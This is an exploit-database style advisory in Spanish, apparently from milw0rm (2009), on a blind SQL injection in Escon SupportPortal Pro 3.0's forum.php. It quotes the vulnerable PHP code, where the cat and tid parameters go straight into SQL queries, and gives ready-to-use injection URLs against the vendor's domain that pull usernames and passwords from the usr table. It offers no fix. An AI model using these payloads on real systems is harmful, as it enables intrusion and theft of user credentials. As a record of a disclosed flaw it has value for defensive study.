1 Autor : OzX
2 Sitio : Foro.Undersecurity.net
3
4 Cms : Escon SupportPortal Pro
5 Version : 3.0
6 Sitio: http://www.e−supportportal.com
7
8 Tipo Vulnz : Blind Sql Injection
9 Archivo : forum.php
10 Parametro Vulnerable 1 : cat
11 Parametro Vulnerable 2 : tid
12
13 Source Vulnz (forum.php):
14
15 60 − if($_REQUEST["a"]=="rss"){
16 61 − $cat=$_REQUEST["cat"];
17 62 − $tid=$_REQUEST["tid"];
18 63 − header(’Content−type: application/rss+xml’);
19 64 −
20 65 − $app_url=trim(dlookup("app_url","site","sid=$sid"),"/")."/";
21 66 −
22 67 −
23 68 − if(isset($_REQUEST[’tid’]))
24 69 − $r=dlookup_row("select * from fr where sid=$sid and id=$tid");
25 70 − else {$r=dlookup_row("select * from fr_cat where sid=$sid and id=$cat");$tid=0;}
26 71 − echo "<?xml version=\"1.0\" ?>";
27
28
29 Ejemplo:
30 http://www.site.comforum.php?a=rss&cat=[SQLI]&tid=[SQLI]
31
32 Otros:
33
34 Usuario :
35 ttp://www.e−supportportal.com/app/forum.php?cat=6&tid=33+and+(select+uname+from+usr+limit+0,1)
36
37 PassWord :
38 http://www.e−supportportal.com/app/forum.php?cat=6&tid=33+and+(select+upwd+from+usr+limit+0,1)
39
40 Gretz :
41 C1c4tr1z(voodoo−labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of
Undersecurity.net.
42
43
44 Site Referer : http://foro.undersecurity.net/read.php?16,1971,1971#msg−1971
45
46 # milw0rm.com [2009−06−01]
Page 1/1
Escon SupportPortal Pro 3.0 tid Blind SQL Injection Vulnerability
OzX
06/01/2009